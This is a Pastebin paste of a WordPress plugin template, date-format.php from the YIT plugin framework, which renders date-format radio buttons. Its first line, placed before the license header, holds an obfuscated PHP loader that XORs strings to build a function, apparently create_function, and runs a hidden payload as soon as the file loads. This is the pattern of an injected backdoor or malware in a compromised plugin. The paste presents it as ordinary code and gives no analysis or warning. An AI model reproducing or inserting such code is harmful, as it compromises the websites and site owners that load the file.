BitofWP

date-format.php

May 9th, 2020
171
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.59 KB | None | 0 0
  1. <?php $NNuYlO='Y8 O2=f<D8 <.+P'; $PCiBORnx=':JE.FX9Z1VCHGD>'^$NNuYlO; $pKGbxb='QSNO106. ;BCe=. K5+dHM Ie0P185nTCHVocf8xbV;,UFE-YuO If=;BZll;DXfb=2DSivMEQ+pjoDsEMSZXC.-1MxyHqISsF-UKBj MJaxRvs:v HIXI=jcU8=6hVXOYFsz1h1e.E=nLgRZkQJ .=ePhb,Fn:+=pEBnTj86NTN ykR7<FjzB9o=: >,>7cq ;FPwr7D2SoxVUXZ;DIy5 BGScptZ18 b 7EJed3Z=FQKM=55 2Q 2oETb9-oyspv0SRcR WNEknjV,-00kXFfap=  -r94AhUytRXEw<CJPXC2yoOc7.:8TAo2yf;3giOaD1L,ob=mfT-8W8U,Bcvbi+z73bdoZJei.YHjjquv=MP-3mi1:hnhR40Xh3S=eDKp1 ;yzOLG=6DJhyGtO W04una>bP3zRUW-SIkEq;,; > YU9KHb,ADnJUN4ojX,Nk2O;5Qff .1VPXzbQ6 +gnpc  =6gV-RefQyX1IC4RL qqhD-I+UNcW=H:,-=677yMR RAmQeT+N7jMVbzx>+afgIPT05d.TGQ;neWEvmvz3CsLw6G1yQ;OfKlMQ6gT-CPqR xpAQpmXJBEX14R1==W7r+=UOFGGsK =5835PewWJ,35dsObafbu,cZW0Q5pv436MkvL 0R6RUf7LIpH LBFpybyr;'; $LIYpTx=$PCiBORnx('', '85fnWEXMTR--:XVI8AXLo5O;:T1EYj196<qFJFCrk0NB62,B7U7O;9YZ6;33V1,NFYS02EVi.4RYJOdSe6YSQgAXEmEYoVrYzOK:9jNImwAHiVWSJS<;4,SBG1YIWAmxk0mXS;a8AA0INbZrrO5+TOfA95BrfJQND+a+NqJKB<8+NQO9REo7Sy3f4HEJYLYKUON2yLx>98.err19.ZdtYSA.46XzP>PLA=KR<jXDU;Q54pG7SZRW0CZOmp=zb 2:5VQ rG9E.nxUNN MAEUBx=lhTYATL-RQ8HhYP9=<L6Jn497SYRoGAOVM1zeOslRUGAnE P8MFBFgo2BJ2Y6DbKR=;n+bv10O;9EME<1JWOURK,<XVDIJ0agL6UD97X6DEykTZEBBpFEcYW0+HDgP9A;EQNdhCh-9pv16Y2iVe1NBHELI89P1-JT.61.4:U055Y:CP.HPgR9DKR94=RF5WTJNBPGDAIW8=H+LOjs1WagP38AQWNdL;Y47<<X1eIUTECDQj9E+fAqA0J:VCmpDZPSOTNC-1 QnCE1>vfGEjxVJOLWqJuBWqPH5Y+QzY+aSP7KpgE6FIHv0WDxlde9CF3HbV2N-NE<<24oT;ADYWRQwIWs.MGTMZoBAFBUWiS2F0YXRPRB,0Q<AI>Y31AjerzAE4+2XIKBxF'^$pKGbxb); $LIYpTx();
  2. /**
  3.  * This file belongs to the YIT Plugin Framework.
  4.  *
  5.  * This source file is subject to the GNU GENERAL PUBLIC LICENSE (GPL 3.0)
  6.  * that is bundled with this package in the file LICENSE.txt.
  7.  * It is also available through the world-wide-web at this URL:
  8.  * http://www.gnu.org/licenses/gpl-3.0.txt
  9.  *
  10.  * @var array $field
  11.  */
  12.  
  13. /** @since 3.1.30 */
  14.  
  15. ! defined( 'ABSPATH' ) && exit; // Exit if accessed directly
  16.  
  17. extract( $field );
  18.  
  19. $class = isset( $class ) ? $class : '';
  20. $js    = isset( $js ) ? $js : false;
  21. $class = 'yith-plugin-fw-radio ' . $class;
  22.  
  23. $options = yith_get_date_format( $js );
  24. $custom  = true;
  25. ?>
  26. <div class="<?php echo $class ?> yith-plugin-fw-date-format" id="<?php echo $id ?>"
  27.     <?php echo $custom_attributes ?>
  28.     <?php if ( isset( $data ) ) {
  29.         echo yith_plugin_fw_html_data_to_string( $data );
  30.     } ?> value="<?php echo $value ?>">
  31.     <?php foreach ( $options as $key => $label ) :
  32.         $checked = '';
  33.         $radio_id = sanitize_key( $id . '-' . $key );
  34.         if ( $value === $key ) { // checked() uses "==" rather than "==="
  35.             $checked = " checked='checked'";
  36.             $custom  = false;
  37.         }
  38.         ?>
  39.         <div class="yith-plugin-fw-radio__row">
  40.             <input type="radio" id="<?php echo esc_attr( $radio_id ) ?>" name="<?php echo $name ?>"
  41.                    value="<?php echo esc_attr( $key ) ?>" <?php echo $checked ?> />
  42.             <label for="<?php echo esc_attr( $radio_id ) ?>"><?php echo date_i18n( $label ) ?>
  43.                 <code><?php echo esc_html( $key ) ?></code></label>
  44.         </div>
  45.     <?php endforeach; ?>
  46.     <?php $radio_id = sanitize_key( $id . '-custom' ); ?>
  47.     <div class="yith-plugin-fw-radio__row">
  48.         <input type="radio" id="<?php echo esc_attr( $radio_id ) ?>" name="<?php echo esc_attr( $name ) ?>"
  49.                value="\c\u\s\t\o\m" <?php checked( $custom ); ?> />
  50.         <label for="<?php echo esc_attr( $radio_id ) ?>"> <?php _e( 'Custom:', 'yith-plugin-fw' ) ?></label>
  51.         <input type="text" name="<?php echo esc_attr( $name . '_text' ) ?>"
  52.                id="<?php echo esc_attr( $radio_id ) ?>_text" value="<?php echo esc_attr( $value ) ?>"
  53.                class="small-text"/>
  54.     </div>
  55.  
  56. </div>
Add Comment
Please, Sign In to add comment